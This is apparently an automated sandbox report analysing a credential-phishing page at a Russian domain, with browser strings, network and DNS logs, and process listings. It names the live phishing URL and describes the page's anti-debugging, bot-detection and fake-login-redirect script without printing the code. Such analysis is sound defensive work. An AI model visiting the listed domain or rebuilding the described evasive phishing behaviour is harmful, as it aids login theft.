Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://gaana.com/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://m.kugou.com/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://m.soundcloud.com/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://m.vk.com/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://music.amazon.com
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://music.apple.com
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://music.yandex.com
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://open.spotify.com
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: Favicons.11.dr	String found in binary or memory: https://studiostaticassetsprod.azureedge.net/bundle-cmc/favicon.ico
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://tidal.com/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://twitter.com/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://vibe.naver.com/today
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://web.telegram.org/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://web.whatsapp.com
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.deezer.com/
Source: content_new.js.11.dr, content.js.11.dr	String found in binary or memory: https://www.google.com/chrome
Source: Web Data.11.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.instagram.com
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.last.fm/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.messenger.com
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.office.com
Source: Top Sites.11.dr	String found in binary or memory: https://www.office.com/
Source: Top Sites.11.dr	String found in binary or memory: https://www.office.com/Office
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.tiktok.com/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://www.youtube.com
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal60.phis.evad.win@64/298@20/11

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FDD68-4AC.pma

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\66c95b8f-8d4b-49ac-9b26-631c5aaa3125.tmp

Jump to behavior

Source: Login Data.11.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://bryf.atchirlisc.ru/EeMAGvIe/... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain (Google login page) after a delay. These behaviors are highly indicative of malicious intent, such as attempting to bypass security measures and potentially steal user credentials.
Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://bryf.atchirlisc.ru/EeMAGvIe/... This script demonstrates multiple high-risk behaviors, including dynamic code execution via the Proxy object and eval, potential data exfiltration, and obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /EeMAGvIe/ HTTP/1.1Host: bryf.atchirlisc.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bryf.atchirlisc.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: bryf.atchirlisc.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bryf.atchirlisc.ru/EeMAGvIe/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBhWmpGMDVWZ01jS0xzWm9RVGJ1VkE9PSIsInZhbHVlIjoia1BUemJwcVdBTWdYaURwRGxueFlaZ3FlM3QvalNpcnk2REFqbmVvbTFsbEZnNzl5Y0plbW9CQTNVZGZLQmw0aXZoUEQvVEt2ejZrWVMxUlpRWUVwWks2dzRwR2QvSDNLYU94MHJqdXlDYld6VWdsYW5Pa0NWOE1vQUx2WmxmZWgiLCJtYWMiOiIyZGY1YWNlMTg4Mzk3ODliNTUxMDZiNTA4ODM3YmMxNDcwM2ZhZGIwYzVmZTQ3ODE4ODU2OTYyZTQ4YjRlMmIyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImwvSU9DVUgvSmM0bDNKT1FTWXJ4Q1E9PSIsInZhbHVlIjoiT0UvWkFpOEpGMDcrM0pmay9sUEhjOXd4b0F4OUNBbmhrUEFJRi96K3JEU3haVGNZQWJPUDhseXRHYzVEUnFmSnVLTXl6WENENlhiNzNwTjBIVWVmbVpkaXpWdm9DMENPSlBFaGZqcjdscjB0em5SNUxkMGVLbWlFQmR1V3lTVTgiLCJtYWMiOiIyNDk2ZjJiZTE2MmE5ZjhhMDQ5ZTM3MWMyZWRmZWZjYTBlOGNiYTdhMzgyNmQ1ZmRmNTBmMjBmYmNkNjI4YzNjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: bryf.atchirlisc.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2032,i,5592853975208518090,15640883060359809183,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://bryf.atchirlisc.ru/EeMAGvIe/"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:?url=http%3A%2F%2Fwww.bing.com%2Fchat%3Fform%3DWSBSH1%26cvid%3Db374da154d8a4e3bb912f43f50eaafd2%26nclid%3D4C9C2B2D0465FD7A42C74C7E93CFB630%26ts%3D1736433000464%26nclidts%3D1736433000%26tsms%3D464&timestamp=1736433000464&source=WindowsSearchBox&medium=CodexUpsell
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2604 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6276 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6592 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5572 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5572 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2092,i,12039556330216411981,17761890535772019975,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1680 --field-trial-handle=2068,i,391148098692564676,17790295371905818145,262144 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2032,i,5592853975208518090,15640883060359809183,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2604 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6276 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8	Jump to behavior
